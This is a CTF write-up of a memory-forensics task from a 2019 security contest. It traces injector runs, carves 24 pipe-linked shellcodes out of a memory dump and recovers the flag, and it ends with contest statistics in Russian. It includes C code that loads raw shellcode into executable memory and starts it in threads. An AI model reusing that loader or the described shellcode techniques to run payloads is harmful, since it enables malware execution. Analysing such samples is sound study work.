cd Z:\zn_2019\
injector.exe 1921.68.1.65
injector.exe 192.68.1.65
./injector.exe 192.68.1.65
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
cd Z:\zn_2019\server\
run storage
.\run.exe .\storage
cd Z:\zn_2019\server\
.\run.exe block1
cd Z:\zn_2019\server\
.\run.exe block0
cd ..
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
cd Z:\zn_2019\
.\Injector2.exe 192.168.1.65
cd Z:\zn_2019\
.\injector.exe 192.168.1.65
.\injector2.exe 192.168.1.65
cd Z:\zn_2019\
.\Injector2.exe 192.168.1.65
'.\ConsoleApplication5 (2).exe' 192.168.1.65

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=138A400 zn_2019\Injector2.exe
SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe
SIGN.MEDIA=138A400 zn_2019\NOTE1.exe
SIGN.MEDIA=138A400 zn_2019\NOTE1.exe
SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe
SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe
SIGN.MEDIA=138A400 zn_2019\injector.exe
SIGN.MEDIA=138A400 zn_2019\nnnn.exe
SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe
SIGN.MEDIA=138A400 zn_2019\note.exe
SIGN.MEDIA=138A400 zn_2019\note2.exe
SIGN.MEDIA=138A400 zn_2019\note3.exe
SIGN.MEDIA=138A400 zn_2019\note4.exe
SIGN.MEDIA=138A400 zn_2019\random.exe
SIGN.MEDIA=138A400 zn_2019\z.exe
SIGN.MEDIA=17582C zn_2019\Injector2.exe
SIGN.MEDIA=17582C zn_2019\injector.exe
SIGN.MEDIA=196C2 zn_2019\server\run.exe
SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe
SIGN.MEDIA=1C176B0 zn_2019\injector.exe
SIGN.MEDIA=1C176B0 zn_2019\note.exe
SIGN.MEDIA=1C176B0 zn_2019\note2.exe
SIGN.MEDIA=1C176B0 zn_2019\note3.exe
SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe
SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe
SIGN.MEDIA=1C1D02C zn_2019\injector.exe
SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe
SIGN.MEDIA=1C1D02C zn_2019\note.exe
SIGN.MEDIA=1C1D02C zn_2019\note2.exe
SIGN.MEDIA=1C1D02C zn_2019\note3.exe
SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe
SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe
SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe
SIGN.MEDIA=1C1DAB0 zn_2019\note.exe
SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe
SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe
SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=1C30058 zn_2019\Injector2.exe
SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe
SIGN.MEDIA=1C30058 zn_2019\injector.exe
SIGN.MEDIA=1C30058 zn_2019\injector.exe
SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe
SIGN.MEDIA=1C30058 zn_2019\note.exe
SIGN.MEDIA=1C30058 zn_2019\note2.exe
SIGN.MEDIA=1C30058 zn_2019\note3.exe
SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=1C89400 zn_2019\Injector2.exe
SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe
SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe
SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe
SIGN.MEDIA=1C89400 zn_2019\injector.exe
SIGN.MEDIA=1C89400 zn_2019\nnnn.exe
SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe
SIGN.MEDIA=1C89400 zn_2019\note.exe
SIGN.MEDIA=1C89400 zn_2019\note.exe
SIGN.MEDIA=1C89400 zn_2019\note2.exe
SIGN.MEDIA=1C89400 zn_2019\note3.exe
SIGN.MEDIA=1C89400 zn_2019\note4.exe
SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe
SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe
SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe
SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe
SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe
SIGN.MEDIA=1C8A800 zn_2019\injector.exe
SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe
SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe
SIGN.MEDIA=1C8A800 zn_2019\note.exe
SIGN.MEDIA=1C8A800 zn_2019\note2.exe
SIGN.MEDIA=1C8A800 zn_2019\note3.exe
SIGN.MEDIA=1C8A800 zn_2019\note4.exe
SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=3EDC2 zn_2019\server\a.exe
SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe
SIGN.MEDIA=3EDC2 zn_2019\server\run.exe
SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=4482C zn_2019\PEview.exe
SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=5B0058 zn_2019\Injector2.exe
SIGN.MEDIA=5B0058 zn_2019\injector.exe
SIGN.MEDIA=5B0058 zn_2019\note.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe
SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe
SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=AB82C zn_2019\injector.exe
SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe
SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe
SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe
SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe
SIGN.MEDIA=BA802 zn_2019\server\run.exe
SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe
SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe
SIGN.MEDIA=E00058 zn_2019\Injector2.exe
SIGN.MEDIA=E00058 zn_2019\injector.exe
SIGN.MEDIA=E00058 zn_2019\note.exe
SIGN.MEDIA=E00058 zn_2019\note2.exe
SIGN.MEDIA=E00058 zn_2019\note2.exe
SIGN.MEDIA=E9982 zn_2019\server\run.exe

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


Global\vtHAjnNbCecOeNAnVeQFmdRw
Global\jGzXXZJbXGPYniopljDEdwuD
Global\jpBuyMNJzdnpwHimVlcBkwGo
Global\ArlCJOxJFOKRkqOLcBhvjYqj
Global\THxjCBohxSlNgCFbwJsHujqk
Global\BOiJhsLFBuZdsFdCrLKEucpJ
Global\iYxszVIFfsuzzEmGwgOQeEcb
Global\NOluZoXPJalShopCCuNnWQbR
Global\GCrtPmNEAOsZpSNNBdiYQfgz
Global\pVVgeqcREhXSgKCwhkeyfTXw
Global\trsQPehKvlxBJhEqIPtwzjxi
Global\ngVrhgAEqcDssFsNerrAZsFz
Global\KiZvGyiMnyTgvQdFNGcudfTY
Global\FzXvKPKGCPMAERklFMXVMYga
Global\nCZpFZPtyidhFOvVeemfyJAC
Global\pjRmfOLLBXIbsJholoasvrqC
Global\mhOVYcYRKgWdABAsgkvrcOOM
Global\syGiShcLTXfQYGAAiafYBxoF
Global\KbFVsPCPZrfVlUIQlvVoJLXW
Global\XbuYiHCxQLTLApuToFldJIgI
Global\auFqpIQAlsHcvjPEakqHyIeA
Global\MrnXOMJvHmYBxRfkbLBUYWgn
Global\GYVOmvrLhCpgQUPfnOshzzem
Global\qaswedfrtghyujkiol121232
\\.\pipe\zn_shell_stor

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor".


File Tags Mutex
b1 mov mov Global\GCrtPmNEAOsZpSNNBdiYQfgz
b2 SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ" Global\NOluZoXPJalShopCCuNnWQbR
b3 inc byte [rbp+0Ch] Global\ngVrhgAEqcDssFsNerrAZsFz
b4 repne scasb strlen() == 18 Global\jpBuyMNJzdnpwHimVlcBkwGo
b5 ?? Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6 xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83" Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7 ?? Global\GYVOmvrLhCpgQUPfnOshzzem
b8 cmp word [rbp+0Ch], 12h Global\KbFVsPCPZrfVlUIQlvVoJLXW
b9 ?? Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10 ?? Global\iYxszVIFfsuzzEmGwgOQeEcb
b11 cmp Global\pjRmfOLLBXIbsJholoasvrqC
b12 add xor cl x2 Global\nCZpFZPtyidhFOvVeemfyJAC
b13 inc [rbp+0Ch] Global\auFqpIQAlsHcvjPEakqHyIeA
b14 dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch] Global\syGiShcLTXfQYGAAiafYBxoF
b15 WIN! Sleep Beep Global\XbuYiHCxQLTLApuToFldJIgI
b16 save byte Global\mhOVYcYRKgWdABAsgkvrcOOM
b17 add xor cl x2 Global\FzXvKPKGCPMAERklFMXVMYga
b18 zero rbp (0, 211h, 80h) Global\trsQPehKvlxBJhEqIPtwzjxi
b19 ?? Global\KiZvGyiMnyTgvQdFNGcudfTY
b20 Read from C:\beeps\flag.txt Global\vtHAjnNbCecOeNAnVeQFmdRw
b21 MAIN
b22 Xor Global\THxjCBohxSlNgCFbwJsHujqk
b23 cmp dw[rbp+0Ch], 256 dec Global\pVVgeqcREhXSgKCwhkeyfTXw
b24 beep(1000, 1100) Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN, where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


#include <windows.h>

void load_shellcode(int index) {
    FILE* fp;   
    DWORD dwThread;
    int size;
    CHAR filename[32];

    sprintf_s(filename, "b%i", index);
    fopen_s(&fp, filename, "rb");
    fseek(fp, 0, SEEK_END);
    size = ftell(fp);
    fseek(fp, 0, SEEK_SET); 
    LPVOID pMem = VirtualAlloc(
        NULL, 
        0x1000, 
        MEM_COMMIT | MEM_RESERVE, 
        PAGE_EXECUTE_READWRITE
    );
    printf("Loaded %i | size=%i | at %p\n", index, size, pMem); 
    fread(pMem, 1, size, fp);   
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread);
    fclose(fp);
}

int main() {
    load_shellcode(21);
    Sleep(1000);
    for (int i = 1; i <= 24; i++) {
        if (i == 21)
            continue;
        load_shellcode(i);
    }
    while (1)
        Sleep(1000);
}

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucHSL0W!pC}


Также sysenter подготовил разбор задания 6 дня. Ознакомится можно здесь.


Немного статистики


В этом году более двух тысяч человек посетили страницы заданий либо скачали необходимые для решения файлы. При этом 136 участников сделали попытку сдать флаг.


Разброс в сложности заданий был достаточно большой.
Самым сложным оказалось задание четвертого дня — ASR-EHD от Digital Security. С ним справился один человек (AV1ct0r), который отослал флаг спустя 22ч 15м после начала задания.


Самым же легким оказался Protected Shell от RuCTFE. С ним справилось больше всего участников — 10. Первым стал vos, сдав правильный флаг через 1ч 26м.


Надеемся, вам понравились задания этого года. Ждем всех 12-13 ноября на конференции ZeroNights.

Комментарии (0)